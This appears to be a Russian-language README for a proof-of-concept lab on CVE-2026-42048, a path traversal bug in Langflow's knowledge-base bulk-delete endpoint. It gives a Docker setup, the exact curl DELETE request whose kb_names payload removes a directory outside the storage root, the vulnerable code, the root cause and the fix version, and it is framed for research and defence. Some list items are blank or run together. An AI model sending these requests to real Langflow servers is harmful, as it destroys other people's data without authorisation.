
Langflow — произвольное удаление каталогов
CVE-2026-42048 Langflow: обход пути / произвольное удаление каталогов PoC
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : уязвимость произвольного удаления каталогов в Langflow
описание: Уязвимость обхода пути в Langflow до 1.9.0 позволяет аутентифицированному злоумышленнику удалять каталоги за пределами предназначенного пути хранилища базы знаний через конечную точку массового удаления DELETE /api/v1/knowledge_bases. Проблема возникает из-за того, что управляемые пользователем значения kb_names используются для построения путей файловой системы без надлежащей нормализации и проверки ограничений.
Для успешной эксплуатации требуются следующие условия:
1.9.0.DELETE /api/v1/knowledge_bases
PR:L).kb_names в теле запроса.Эта уязвимость не обходит разрешения файловой системы операционной системы. Она злоупотребляет собственной логикой обработки путей и удаления Langflow.
Соберите и запустите уязвимое окружение с помощью Docker:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
Лабораторная среда создает одноразовый целевой каталог по пути:
/target/CVE-2026-42048
Конечная точка /status сообщает, существует ли этот каталог.
python3 poc.py
Интерактивный ввод:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
Если эксплуатация успешна, target_exists меняется с true на false.
Уязвимая конечная точка
DELETE /api/v1/knowledge_bases
Уязвимость существует в API массового удаления баз знаний Langflow. Затронутый обработчик принимает список имен баз знаний через параметр kb_names и использует каждое значение для построения пути в файловой системе для удаления.
В уязвимых версиях логика массового удаления вручную конструирует путь вместо использования более безопасного вспомогательного средства разрешения путей, применяемого другими конечными точками баз знаний. Упрощенное представление уязвимого шаблона:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
Вспомогательная функция удаления в конечном счете удаляет целевой каталог с помощью рекурсивной логики удаления. Поскольку kb_name контролируется злоумышленником, последовательности обхода пути, такие как ../, могут выйти за пределы каталога базы знаний текущего пользователя. В Python pathlib абсолютный путь, указанный с правой стороны, также может переопределять предыдущие компоненты пути:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
В результате специально сформированное значение kb_names может заставить Langflow удалить каталог за пределами предназначенного корневого каталога хранилища баз знаний, если у процесса Langflow есть разрешение на удаление этого каталога.
Это проблема CWE-22: Improper Limitation of a Pathname to a Restricted Directory.
Корневая причина — недостаточная нормализация и проверка границ управляемых пользователем компонентов пути перед рекурсивным удалением. Уязвимая конечная точка массового удаления проверяет, существует ли итоговый путь, но не гарантирует, что разрешенный путь остается в пределах каталога базы знаний аутентифицированного пользователя.
Надежное исправление должно:
Path.resolve()Langflow исправил эту проблему в версии 1.9.0.
Произвольное удаление каталогов может напрямую повлиять на целостность и доступность. В зависимости от разрешений развертывания и структуры файловой системы злоумышленник может:
Эта проблема не требует произвольного выполнения кода, чтобы быть вредоносной. Рекурсивного удаления с привилегиями приложения достаточно для нанесения ущерба данным и доступности.
+-------------------------------------------+
| Authenticated User |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| Unsafe path construction
v
+-------------------------------------------+
| Path Escapes Intended KB User Directory |
+-------------------------------------------+
|
| Recursive directory deletion
v
+-------------------------------------------+
| Arbitrary Directory Deletion |
+-------------------------------------------+
Эта лабораторная среда предоставляет небольшой прокси-сервер для задания на порту 9101. Прокси скрывает полный интерфейс Langflow и прямой порт бэкенда, передавая только минимальный уязвимый путь API, необходимый для этого упражнения.
Целевой каталог для лабораторной среды:
/target/CVE-2026-42048
Конечная точка /status может использоваться для подтверждения того, что целевой каталог был удален.
docker stop cve-2026-42048
Этот репозиторий не предназначен для содействия несанкционированной эксплуатации экземпляров Langflow. Цель этого проекта — помочь исследователям безопасности, специалистам по защите и разработчикам понять уязвимость, проверить уровень подверженности риску в контролируемых средах и применить эффективные меры защиты.